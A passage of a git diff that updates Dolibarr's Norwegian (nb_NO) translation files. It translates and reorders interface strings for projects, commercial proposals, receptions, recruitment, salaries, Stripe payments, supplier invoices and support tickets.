      - En liste av tredjeparts-ID-er atskilt med komma: kan koble elementer til alle prosjekter til disse tredjepartene (eksempel: 123,4795,53) LatestProjects=Siste %s prosjekter LatestModifiedProjects=Siste %s endrede prosjekter OtherFilteredTasks=Andre filtrerte oppgaver @@ -255,13 +259,14 @@ RecordsClosed=%s prosjekt(er) lukket SendProjectRef=Informasjon prosjekt %s ModuleSalaryToDefineHourlyRateMustBeEnabled=Modul 'Lønn' må være aktivert for å definere ansattes timepris for å få tidsbruk verdsatt NewTaskRefSuggested=Oppgavereferanse allerede brukt, en ny oppgavereferanse er nødvendig +NumberOfTasksCloned=%s oppgave(r) klonet TimeSpentInvoiced=Tidsbruk fakturert TimeSpentForIntervention=Tid brukt TimeSpentForInvoice=Tid brukt OneLinePerUser=Én linje per bruker -ServiceToUseOnLines=Tjeneste for bruk på linjer +ServiceToUseOnLines=Tjeneste som skal brukes på linjer som standard InvoiceGeneratedFromTimeSpent=Faktura %s er generert fra tid brukt på prosjekt -InterventionGeneratedFromTimeSpent=Intervention %s has been generated from time spent on project +InterventionGeneratedFromTimeSpent=Intervensjon %s har blitt generert fra tid brukt på prosjektet ProjectBillTimeDescription=Sjekk om du legger inn timeliste på prosjektoppgaver, OG planlegger å generere faktura (er) fra timelisten for å fakturere kunden til prosjektet (ikke kryss av om du planlegger å opprette faktura som ikke er basert på innlagte timelister). Merk: For å generere faktura, gå til fanen 'Tidsbruk' av prosjektet og velg linjer du vil inkludere. ProjectFollowOpportunity=Følg mulighet ProjectFollowTasks=Følg oppgaver eller tidsbruk @@ -270,27 +275,28 @@ UsageOpportunity=Bruk: Mulighet UsageTasks=Bruk: Oppgaver UsageBillTimeShort=Bruk: Fakturer tid InvoiceToUse=Fakturamal som skal brukes -InterToUse=Draft intervention to use +InterToUse=Intervensjonstkast å bruke NewInvoice=Ny faktura NewInter=Ny intervensjon OneLinePerTask=Én linje per oppgave OneLinePerPeriod=Én linje per periode -OneLinePerTimeSpentLine=One line for each time spent declaration -AddDetailDateAndDuration=With date and duration into line description +OneLinePerTimeSpentLine=Én linje for hver tidsbrukserklæring +AddDetailDateAndDuration=Med dato og varighet i linjebeskrivelse RefTaskParent=Ref. forelderoppgave ProfitIsCalculatedWith=Fortjenesten beregnes ved å bruke AddPersonToTask=Legg også til i oppgaver UsageOrganizeEvent=Bruk: Hendelse Organisasjon PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Klassifiser prosjektet som lukket når alle oppgavene er fullført (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Merk: eksisterende prosjekter med alle oppgaver på 100%%-fremdrift blir ikke berørt: du må lukke dem manuelt. Dette alternativet påvirker bare åpne prosjekter. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Merk: eksisterende prosjekter med alle oppgaver som allerede er satt til en fremdrift på 100%% vil ikke bli berørt: du må lukke dem manuelt. Dette alternativet påvirker kun åpne prosjekter. SelectLinesOfTimeSpentToInvoice=Velg linjer med tid brukt som ikke er fakturert, og massehandling "Generer faktura" for å fakturere dem ProjectTasksWithoutTimeSpent=Prosjektoppgaver uten tidsbruk -FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. -ProjectsHavingThisContact=Projects having this contact +FormForNewLeadDesc=Takk for at du fyller ut følgende skjema for å kontakte oss. Du kan også sende oss en epost direkte til %s . +ProjectsHavingThisContact=Prosjekter som har denne kontakten StartDateCannotBeAfterEndDate=Sluttdato kan ikke være før startdato -ErrorPROJECTLEADERRoleMissingRestoreIt=The "PROJECTLEADER" role is missing or has been de-activited, please restore in the dictionary of contact types +ErrorPROJECTLEADERRoleMissingRestoreIt="PROSJEKTLEDER"-rollen mangler eller har blitt deaktivert, vennligst gjenopprett i ordboken over kontakttyper LeadPublicFormDesc=Her kan du aktivere en offentlig side for å la potensielle kunder ta en første kontakt med deg fra et offentlig nettskjema EnablePublicLeadForm=Aktiver det offentlige skjemaet for kontakt NewLeadbyWeb=Din melding eller forespørsel er registrert. Vi vil svare eller kontakte deg snart. NewLeadForm=Nytt kontaktskjema LeadFromPublicForm=Online mulighet fra offentlig form +ExportAccountingReportButtonLabel=Få rapport diff --git a/htdocs/langs/nb_NO/propal.lang b/htdocs/langs/nb_NO/propal.lang index 3cd00be1a47..9e6a55c8600 100644 --- a/htdocs/langs/nb_NO/propal.lang +++ b/htdocs/langs/nb_NO/propal.lang @@ -54,7 +54,7 @@ NoDraftProposals=Ingen tilbudsutkast CopyPropalFrom=Opprett nytt tilbud ved å kopiere et eksisterende CreateEmptyPropal=Opprett et tomt tilbud eller fra listen over varer/tjenester DefaultProposalDurationValidity=Standard gyldighetstid for tilbud (dager) -DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal +DefaultPuttingPricesUpToDate=Som standard oppdater prisene med gjeldende kjente priser ved kloning av et tilbud UseCustomerContactAsPropalRecipientIfExist=Bruk kontakt/adresse med typen 'Kontakt tilbudsoppfølging' hvis det er definert, i stedet for tredjepartsadresse som mottakeradresse av tilbud ConfirmClonePropal=Er du sikker på at du vil klone tilbudet %s? ConfirmReOpenProp=Er du sikker på at du vil gjenåpne tilbudet %s? @@ -65,49 +65,54 @@ AvailabilityPeriod=Tilgjengelig forsinkelse SetAvailability=Sett tilgjengelig forsinkelse AfterOrder=etter bestilling OtherProposals=Andre tilbud + ##### Availability ##### AvailabilityTypeAV_NOW=Umiddelbar AvailabilityTypeAV_1W=1 uke AvailabilityTypeAV_2W=2 uker AvailabilityTypeAV_3W=3 uker AvailabilityTypeAV_1M=En måned -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Representant for oppfølging av tilbud TypeContact_propal_external_BILLING=Kundekontakt faktura TypeContact_propal_external_CUSTOMER=Kundens tilbudsoppfølger TypeContact_propal_external_SHIPPING=Kundekontakt for levering + # Document models -DocModelAzurDescription=En komplett tilbudsmodell (gammel implementering av Cyan-mal) -DocModelCyanDescription=En komplett tilbudsmodell -DefaultModelPropalCreate=Standard modellbygging -DefaultModelPropalToBill=Standardmal når du lukker et tilbud (som skal faktureres) -DefaultModelPropalClosed=Standardmal når du lukker et tilbud (ufakturert) -ProposalCustomerSignature=Skriftlig aksept, firmastempel, dato og signatur -ProposalsStatisticsSuppliers=Leverandørs tilbudsstatistikk -CaseFollowedBy=Sak fulgt av -SignedOnly=Kun signert -NoSign=Sett til ikke signert -NoSigned=sett til ikke signert CantBeNoSign=kan ikke settes til ikke signert +CaseFollowedBy=Sak fulgt av ConfirmMassNoSignature=Bulk Ikke signert bekreftelse ConfirmMassNoSignatureQuestion=Er du sikker på at du vil sette de valgte postene til ikke signert ? -IsNotADraft=er ikke et utkast -PassedInOpenStatus=har blitt validert -Sign=Signer -Signed=signert -ConfirmMassValidation=Massevalider bekreftelse ConfirmMassSignature=Bekreftelse av bulksignatur -ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? -ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? -IdProposal=Tilbud-ID +ConfirmMassSignatureQuestion=Er du sikker på at du vil signere de valgte postene? +ConfirmMassValidation=Massevalider bekreftelse +ConfirmMassValidationQuestion=Er du sikker på at du vil validere de valgte postene? +ConfirmRefusePropal=Er du sikker på at du vil avslå dette tilbudet? +ContractSigned=Kontrakt signert +DefaultModelPropalClosed=Standardmal når du lukker et tilbud (ufakturert) +DefaultModelPropalCreate=Standard modellbygging +DefaultModelPropalToBill=Standardmal når du lukker et tilbud (som skal faktureres) +DocModelAzurDescription=En komplett tilbudsmodell (gammel implementering av Cyan-mal) +DocModelCyanDescription=En komplett tilbudsmodell +FichinterSigned=Intervensjon signert IdProduct=Vare-ID +IdProposal=Tilbud-ID +IsNotADraft=er ikke et utkast LineBuyPriceHT=Innkjøpspris beløp eksklusive avgift for linje -SignPropal=Accept proposal -RefusePropal=Refuse proposal +NoSign=Avvis +NoSigned=sett til ikke signert +PassedInOpenStatus=har blitt validert +PropalAlreadyRefused=Tilbudet er allerede avvist +PropalAlreadySigned=Tilbud er allerede akseptert +PropalRefused=Tilbudet ble avvist +PropalSigned=Tilbud akseptert +ProposalCustomerSignature=Skriftlig aksept, firmastempel, dato og signatur +ProposalsStatisticsSuppliers=Leverandørs tilbudsstatistikk +RefusePropal=Avslå tilbud Sign=Signer -NoSign=Sett til ikke signert -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Signer kontrakt +SignFichinter=Signer intervensjon +SignPropal=Godta tilbudet +Signed=signert +SignedOnly=Kun signert diff --git a/htdocs/langs/nb_NO/receptions.lang b/htdocs/langs/nb_NO/receptions.lang index 25df6e46845..44936b9bdcd 100644 --- a/htdocs/langs/nb_NO/receptions.lang +++ b/htdocs/langs/nb_NO/receptions.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - receptions -ReceptionDescription=Vendor reception management (Create reception documents) -ReceptionsSetup=Vendor Reception setup +ReceptionDescription=Administrasjon av leverandørmottak (Opprett mottaksdokumenter) +ReceptionsSetup=Leverandørmottak oppsett RefReception=Mottak ref. Reception=Mottak Receptions=Mottak @@ -24,14 +24,15 @@ ReceptionsAndReceivingForSameOrder=Mottak og kvitteringer for denne bestillingen ReceptionsToValidate=Mottak til validering StatusReceptionCanceled=Kansellert StatusReceptionDraft=Kladd -StatusReceptionValidated=Validated (products to receive or already received) -StatusReceptionValidatedToReceive=Validated (products to receive) -StatusReceptionValidatedReceived=Validated (products received) +StatusReceptionValidated=Validert (varer som skal mottas eller allerede er mottatt) +StatusReceptionValidatedToReceive=Validert (varer å motta) +StatusReceptionValidatedReceived=Validert (varer mottatt) StatusReceptionProcessed=Behandlet StatusReceptionDraftShort=Kladd StatusReceptionValidatedShort=Validert StatusReceptionProcessedShort=Behandlet ReceptionSheet=Mottaksskjema +ValidateReception=Valider mottak ConfirmDeleteReception=Er du sikker på at du vil slette dette mottaket? ConfirmValidateReception=Er du sikker på at du vil validere dette mottaket med referanse %s? ConfirmCancelReception=Er du sikker på at du vil avbryte dette mottaket? @@ -39,7 +40,7 @@ StatsOnReceptionsOnlyValidated=Statistikk utført på validerte mottak. Dato bru SendReceptionByEMail=Send mottak via e-post SendReceptionRef=Innlevering av mottak %s ActionsOnReception=Hendelser i mottak -ReceptionCreationIsDoneFromOrder=For the moment, creation of a new reception is done from the Purchase Order. +ReceptionCreationIsDoneFromOrder=For øyeblikket opprettes et nytt mottak fra innkjøpsordren. ReceptionLine=Mottakslinje ProductQtyInReceptionAlreadySent=Produktkvantitet fra åpne salgsordre som allerede er sendt ProductQtyInSuppliersReceptionAlreadyRecevied=Varekvantitet fra åpen leverandørordre som allerede er mottatt @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Nummereringsmodul for mottak ReceptionsReceiptModel=Dokumentmaler for mottak NoMorePredefinedProductToDispatch=Ingen flere forhåndsdefinerte varer som skal sendes ReceptionExist=Et mottak finnes -ByingPrice=Innkjøpspris -ReceptionBackToDraftInDolibarr=Reception %s back to draft -ReceptionClassifyClosedInDolibarr=Reception %s classified Closed -ReceptionUnClassifyCloseddInDolibarr=Reception %s re-open +ReceptionBackToDraftInDolibarr=Mottak %s tilbake til utkast +ReceptionClassifyClosedInDolibarr=Mottak %s klassifisert Stengt +ReceptionUnClassifyCloseddInDolibarr=Mottak %s gjenåpne diff --git a/htdocs/langs/nb_NO/recruitment.lang b/htdocs/langs/nb_NO/recruitment.lang index aa5a6c616f8..4812b611299 100644 --- a/htdocs/langs/nb_NO/recruitment.lang +++ b/htdocs/langs/nb_NO/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=E-postrekruttering ToUseAGenericEmail=For å bruke en generisk e-post. Hvis ikke definert, vil e-posten til rekrutteringsansvarlig bli brukt NewCandidature=Ny applikasjon ListOfCandidatures=Liste over applikasjoner -RequestedRemuneration=Ønsket godtgjørelse -ProposedRemuneration=Tilbudt godtgjørelse +Remuneration=Lønn +RequestedRemuneration=Ønsket lønn +ProposedRemuneration=Foreslått lønn ContractProposed=Kontraktforslag ContractSigned=Kontrakt signert ContractRefused=Kontrakten avvist RecruitmentCandidature=Applikasjon JobPositions=Stillinger RecruitmentCandidatures=Applikasjoner -InterviewToDo=Intervju som skal gjennomføres +InterviewToDo=Kontakter å følge AnswerCandidature=Søknadssvar YourCandidature=Din søknad YourCandidatureAnswerMessage=Takk for søknaden.
      ... diff --git a/htdocs/langs/nb_NO/salaries.lang b/htdocs/langs/nb_NO/salaries.lang index 77f763efbd7..b7ea89c743d 100644 --- a/htdocs/langs/nb_NO/salaries.lang +++ b/htdocs/langs/nb_NO/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Regnskapskonto brukt til tredjepartsbrukere -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Regnskapskontoen som er definert på brukerkort, vil kun bli brukt til bruk av Subledger regnskap. Denne vil bli brukt til hovedboken og som standardverdi for Subledger-regnskap hvis dedikert bruker-regnskapskonto ikke er definert. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Konto (fra kontoplanen) brukes som standard for "bruker" tredjeparter +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Den dedikerte kontoen som er definert på brukerkortet, vil kun brukes til underreskontro. Denne vil bli brukt for hovedbok og som standardverdi for underreskontro hvis dedikert brukerkonto for bruker ikke er definert. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Regnskapskonto som standard for lønnsutbetalinger CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=La som standard alternativet "Opprett automatisk en total betaling" være tomt når du oppretter lønn Salary=Lønn diff --git a/htdocs/langs/nb_NO/stripe.lang b/htdocs/langs/nb_NO/stripe.lang index f617b449aae..48eefed34c5 100644 --- a/htdocs/langs/nb_NO/stripe.lang +++ b/htdocs/langs/nb_NO/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook-nøkkel ONLINE_PAYMENT_WAREHOUSE=Lager som skal brukes for lagernedskrivning når nettbasert betaling er utført
      (TODO Når alternativet for å redusere lagerbeholdningen gjøres på en faktura handling, og online betaling genererer fakturaen?) StripeLiveEnabled=Stripe live aktivert (ellers test/sandbox modus) StripeImportPayment=Importer Stripe-betalinger -ExampleOfTestCreditCard=Eksempel på kredittkort for test: %s => gyldig, %s => feil CVC, %s => utløpt, %s => belastning mislykket +ExampleOfTestCreditCard=Eksempel på kredittkort for SEPA-test: %s => gyldig, %s => feil CVC, %s => utløpt, %s => belastning mislykkes +ExampleOfTestBankAcountForSEPA=Eksempel på bankkonto BAN for test av direkte belastning: %s StripeGateways=Stripe gateways OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca. _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca. _...) @@ -61,6 +62,7 @@ DeleteACard=Slett kort ConfirmDeleteCard=Er du sikker på at du vil slette dette Kreditt- eller debetkortet? CreateCustomerOnStripe=Opprett kunde på Stripe CreateCardOnStripe=Lag kort på Stripe +CreateBANOnStripe=Opprett bank på Stripe ShowInStripe=Vis i Stripe StripeUserAccountForActions=Brukerkonto til bruk for e-postvarsling av noen Stripe-hendelser (Stripe-utbetalinger) StripePayoutList=Liste over Stripe utbetalinger @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Link til oppsett av Stripe WebHook for oppkall av IPN PaymentWillBeRecordedForNextPeriod=Betalingen blir registrert for neste periode. ClickHereToTryAgain=Klikk her for å prøve igjen ... CreationOfPaymentModeMustBeDoneFromStripeInterface=På grunn av sterke regler for godkjenning av kunder, må opprettelse av et kort gjøres fra Stripe backoffice. Du kan klikke her for å slå på Stripe kundeoppføring: %s +STRIPE_CARD_PRESENT=Kort til stede for Stripe-terminaler +TERMINAL_LOCATION=Plassering (adresse) for Stripe Terminaler +RequestDirectDebitWithStripe=Be om direktedebet med Stripe +STRIPE_SEPA_DIRECT_DEBIT=Aktiver direktedebet gjennom Stripe + diff --git a/htdocs/langs/nb_NO/suppliers.lang b/htdocs/langs/nb_NO/suppliers.lang index 25a282834b2..0245c9d43d3 100644 --- a/htdocs/langs/nb_NO/suppliers.lang +++ b/htdocs/langs/nb_NO/suppliers.lang @@ -4,6 +4,7 @@ SuppliersInvoice=Leverandørfaktura SupplierInvoices=Leverandørfakturaer ShowSupplierInvoice=Vis leverandørfaktura NewSupplier=Ny leverandør +NewSupplierInvoice = Ny leverandørfaktura History=Historikk ListOfSuppliers=Liste over leverandører ShowSupplier=Vis leverandør @@ -47,10 +48,10 @@ BuyerName=Kjøpernavn AllProductServicePrices=Alle vare-/tjenestepriser AllProductReferencesOfSupplier=Alle referanser fra leverandøren BuyingPriceNumShort=Leverandørpriser -RepeatableSupplierInvoice=Template supplier invoice +RepeatableSupplierInvoice=Leverandørfaktura-mal RepeatableSupplierInvoices=Mal leverandørfakturaer RepeatableSupplierInvoicesList=Mal leverandørfakturaer -RecurringSupplierInvoices=Recurring supplier invoices -ToCreateAPredefinedSupplierInvoice=In order to create template supplier invoice, you must create a standard invoice, then, without validating it, click on the "%s" button. -GeneratedFromSupplierTemplate=Generated from supplier invoice template %s -SupplierInvoiceGeneratedFromTemplate=Supplier invoice %s Generated from supplier invoice template %s +RecurringSupplierInvoices=Gjentakende leverandørfakturaer +ToCreateAPredefinedSupplierInvoice=For å opprette mal leverandørfaktura må du opprette en standardfaktura, og deretter, uten å validere den, klikk på "%s"-knappen. +GeneratedFromSupplierTemplate=Generert fra leverandørfaktura-mal %s +SupplierInvoiceGeneratedFromTemplate=Leverandørfaktura %s Generert fra leverandørfaktura-mal %s diff --git a/htdocs/langs/nb_NO/ticket.lang b/htdocs/langs/nb_NO/ticket.lang index bc9e688db75..c478c0ac099 100644 --- a/htdocs/langs/nb_NO/ticket.lang +++ b/htdocs/langs/nb_NO/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Endre supportsedler Permission56003=Slett supportsedler Permission56004=Administrer supportsedler Permission56005=Se billetter til alle tredjeparter (ikke effektive for eksterne brukere, alltid begrenset til tredjepart de er avhengige av) +Permission56006=Eksporter billetter +Tickets=Supportsedler TicketDictType=Billett - Typer TicketDictCategory=Billett - Grupper TicketDictSeverity=Billett - Alvorlighetsgrader @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Ekstern bidragsyter OriginEmail=Rapport-epost Notify_TICKET_SENTBYMAIL=Send billettmelding via e-post +ExportDataset_ticket_1=Supportsedler + # Status Read=Les Assigned=Tildelt @@ -90,8 +94,8 @@ TicketPublicAccess=Et offentlig grensesnitt som ikke krever identifikasjon er ti TicketSetupDictionaries=Typen av billett, alvorlighetsgrad og analytiske koder kan konfigureres fra ordbøker TicketParamModule=Oppsett av modulvariabler TicketParamMail=Epostoppsett -TicketEmailNotificationFrom=Sender e-mail for notification on answers -TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationFrom=Avsender e-post for varsling om svar +TicketEmailNotificationFromHelp=Avsender-e-post som skal brukes til å sende varslings-epost når et svar er gitt inne på backoffice. For eksempel noreply@example.com TicketEmailNotificationTo=Gi beskjed om opprettelse av billett til denne e-postadressen TicketEmailNotificationToHelp=Hvis tilstede, vil denne e-postadressen bli varslet om en billettoppretting TicketNewEmailBodyLabel=Tekstmelding sendt etter å ha opprettet en billett @@ -100,7 +104,7 @@ TicketParamPublicInterface=Oppsett av offentlig grensesnitt TicketsEmailMustExist=Krever en eksisterende epostadresse for å opprette en supportseddel TicketsEmailMustExistHelp=I det offentlige grensesnittet må epostadressen allerede finnes i databasen for å kunne opprette en ny supportseddel. TicketCreateThirdPartyWithContactIfNotExist=Spør navn og firmanavn for ukjente e-poster. -TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. +TicketCreateThirdPartyWithContactIfNotExistHelp=Sjekk om det finnes en tredjepart eller en kontakt for e-posten du har skrevet inn. Hvis ikke, spør om et navn og et firmanavn for å opprette en tredjepart med kontakt. PublicInterface=Offentlig grensesnitt TicketUrlPublicInterfaceLabelAdmin=Alternativ nettadresse for offentlig grensesnitt TicketUrlPublicInterfaceHelpAdmin=Det er mulig å definere et alias til webserveren og dermed gjøre tilgjengelig det offentlige grensesnittet med en annen nettadresse (serveren må fungere som en proxy på denne nye nettadressen) @@ -140,15 +144,17 @@ TicketPublicNotificationNewMessageDefaultEmail=E-postvarsler til (oppdatere) TicketPublicNotificationNewMessageDefaultEmailHelp=Send en e-post til denne adressen for hver nye meldingsvarsling hvis billetten ikke har en bruker tildelt den, eller hvis brukeren ikke har noen kjent e-post. TicketsAutoReadTicket=Merk automatisk billetten som lest (når den er opprettet fra backoffice) TicketsAutoReadTicketHelp=Merk automatisk billetten som lest når den opprettes fra backoffice. Når billetten opprettes fra det offentlige grensesnittet, forblir billetten med statusen "Ikke lest". -TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): -TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. -TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): -TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. -TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket -TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. -TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. +TicketsDelayBeforeFirstAnswer=En ny billett bør få et første svar før (timer): +TicketsDelayBeforeFirstAnswerHelp=Hvis en ny billett ikke har fått svar etter denne tidsperioden (i timer), vil et viktig advarselsikon vises i listevisningen. +TicketsDelayBetweenAnswers=En uløst billett skal ikke være inaktiv i løpet av (timer): +TicketsDelayBetweenAnswersHelp=Hvis en uavklart billett som allerede har mottatt svar ikke har hatt ytterligere interaksjon etter denne tidsperioden (i timer), vil et advarselsikon vises i listevisningen. +TicketsAutoNotifyClose=Varsle automatisk tredjepart når du lukker en billett +TicketsAutoNotifyCloseHelp=Når du lukker en billett, vil det bli foreslått å sende en melding til en av tredjeparts kontakter. Ved massestenging vil en melding bli sendt til en kontakt fra tredjeparten knyttet til billetten. +TicketWrongContact=Forutsatt at kontakt ikke er en del av gjeldende billettkontakter. E-post ikke sendt. TicketChooseProductCategory=Produktkategori for billettstøtte TicketChooseProductCategoryHelp=Velg produktkategori for billettstøtte. Dette vil bli brukt til å automatisk knytte en kontrakt til en billett. +TicketUseCaptchaCode=Bruk grafisk kode (CAPTCHA) når du oppretter en billett +TicketUseCaptchaCodeHelp=Legger til CAPTCHA-verifisering når du oppretter en ny billett. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Laget av NewTicket=Ny supportseddel SubjectAnswerToTicket=Supportseddel-svar TicketTypeRequest=Forespørselstype -TicketCategory=Billettkategorisering +TicketCategory=Billettgruppe SeeTicket=Se supportseddel TicketMarkedAsRead=Supportseddel merket som lest TicketReadOn=Les videre @@ -192,8 +198,7 @@ TicketAssigned=Supportseddel er nå tildelt TicketChangeType=Endre type TicketChangeCategory=Endre analytisk kode TicketChangeSeverity=Endre alvorlighetsgrad -TicketAddMessage=Legg til en melding -AddMessage=Legg til en melding +TicketAddMessage=Legg til privat melding MessageSuccessfullyAdded=Supportseddel lagt til TicketMessageSuccessfullyAdded=Melding lagt til TicketMessagesList=Meldingsliste @@ -204,8 +209,8 @@ TicketSeverity=Alvorlighetsgrad ShowTicket=Se supportseddel RelatedTickets=Relaterte supportsedler TicketAddIntervention=Opprett intervensjon -CloseTicket=Lukk|Løs billett -AbandonTicket=Forlat billett +CloseTicket=Lukk|Løs +AbandonTicket=Forlat CloseATicket=Lukk|Løs en billett ConfirmCloseAticket=Bekreft lukking av supportseddel ConfirmAbandonTicket=Bekrefter du lukkingen av billetten til status 'Forlatt' @@ -219,18 +224,17 @@ SendMessageByEmail=Send melding via epost TicketNewMessage=Ny melding ErrorMailRecipientIsEmptyForSendTicketMessage=Mottaker er tom. Ingen epost sendt TicketGoIntoContactTab=Vennligst gå inn på "Kontakter" -fanen for å velge -TicketMessageMailIntro=Introduksjon +TicketMessageMailIntro=Meldingsoverskrift TicketMessageMailIntroHelp=Denne teksten legges bare til i begynnelsen av eposten og vil ikke bli lagret. -TicketMessageMailIntroLabelAdmin=Introduksjonstekst til alle billettsvar TicketMessageMailIntroText=Hei,
      Et nytt svar er lagt til en billett som du følger. Her er meldingen:
      TicketMessageMailIntroHelpAdmin=Denne teksten vil bli satt inn før svaret når du svarer på en billett fra Dolibarr -TicketMessageMailSignature=Signatur -TicketMessageMailSignatureHelp=Denne teksten er bare lagt til i slutten av eposten og vil ikke bli lagret. -TicketMessageMailSignatureText=Melding sendt av %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Signatur på svar-epost -TicketMessageMailSignatureHelpAdmin=Denne teksten vil bli satt inn etter svarmeldingen. +TicketMessageMailFooter=Meldingsbunntekst +TicketMessageMailFooterHelp=Denne teksten legges bare til på slutten av meldingen som sendes på e-post og vil ikke bli lagret. +TicketMessageMailFooterText=Melding sendt av %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Denne teksten vil bli satt inn etter svarmeldingen. TicketMessageHelp=Kun denne teksten blir lagret i meldingslisten på supportseddelen. TicketMessageSubstitutionReplacedByGenericValues=Substitusjonsvariabler erstattes av generiske verdier. +ForEmailMessageWillBeCompletedWith=For e-postmeldinger sendt til eksterne brukere, vil meldingen fylles ut med TimeElapsedSince=Tid forløpt siden TicketTimeToRead=Tid forløpt før lesing TicketTimeElapsedBeforeSince=Tid som har gått før/siden @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=En ny melding ble lagt ut på billett TicketAssignedToYou=Supportseddel tildelt TicketAssignedEmailBody=Du har blitt tildelt supportseddel # %s av %s MarkMessageAsPrivate=Merk meldingen som privat +TicketMessageSendEmailHelp=En e-post vil bli sendt til alle tildelte kontakter (interne kontakter, men også eksterne kontakter bortsett fra hvis alternativet "%s" er merket) TicketMessagePrivateHelp=Denne meldingen vises ikke til eksterne brukere TicketEmailOriginIssuer=Utsteder ved opprettelse av supportsedlene InitialMessage=Innledende melding @@ -260,9 +265,9 @@ TicketNotNotifyTiersAtClose=Ingen relatert kontakt Unread=Ulest TicketNotCreatedFromPublicInterface=Ikke tilgjengelig. Billett ble ikke opprettet fra offentlig grensesnitt. ErrorTicketRefRequired=Billettreferansenavn kreves -TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. -TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. -TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. +TicketsDelayForFirstResponseTooLong=Det har gått for lang tid siden billettåpningen uten noe svar. +TicketsDelayFromLastResponseTooLong=Det har gått for lang tid siden siste svar på denne billetten. +TicketNoContractFoundToLink=Det ble ikke funnet noen kontrakt som ble automatisk knyttet til denne billetten. Vennligst koble en kontrakt manuelt. TicketManyContractsLinked=Mange kontrakter er automatisk knyttet til denne billetten. Sørg for å bekrefte hvilken som skal velges. # @@ -291,12 +296,12 @@ TicketNewEmailBody=Dette er en automatisk epost for å bekrefte at du har regist TicketNewEmailBodyCustomer=Dette er en automatisk epost for å bekrefte at en ny supportseddel nettopp er opprettet i kontoen din. TicketNewEmailBodyInfosTicket=Informasjon for å overvåke supportseddelen TicketNewEmailBodyInfosTrackId=Billettsporingsnummer: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link +TicketNewEmailBodyInfosTrackUrl=Du kan se fremdriften til billetten ved å klikke på følgende lenke TicketNewEmailBodyInfosTrackUrlCustomer=Du kan se fremdriften til supportseddelen i det spesifikke grensesnittet ved å klikke på følgende lenke -TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=Du kan se historien til denne billetten ved å klikke på følgende lenke TicketEmailPleaseDoNotReplyToThisEmail=Vennligst ikke svar direkte på denne eposten! Bruk koblingen til å svare via grensesnittet. TicketPublicInfoCreateTicket=Dette skjemaet gir deg mulighet til å registrere en supportseddel i vårt styringssystem. -TicketPublicPleaseBeAccuratelyDescribe=Vennligst beskriv problemet nøyaktig. Gi så mye informasjon som mulig slik at vi kan identifisere forespørselen din riktig. +TicketPublicPleaseBeAccuratelyDescribe=Vennligst beskriv spørsmålet ditt nøyaktig. Gi mest mulig informasjon slik at vi kan identifisere forespørselen din på riktig måte. TicketPublicMsgViewLogIn=Vennligst oppgi supportseddel sporings-ID TicketTrackId=Offentlig sporings-ID OneOfTicketTrackId=En av sporings-IDene dine @@ -315,10 +320,10 @@ NewUser=Ny bruker NumberOfTicketsByMonth=Antall billetter per måned NbOfTickets=Antall billetter # notifications -TicketCloseEmailSubjectCustomer=Ticket closed -TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. -TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) -TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: +TicketCloseEmailSubjectCustomer=Billett stengt +TicketCloseEmailBodyCustomer=Dette er en automatisk melding for å varsle deg om at billett %s nettopp har blitt stengt. +TicketCloseEmailSubjectAdmin=Billett 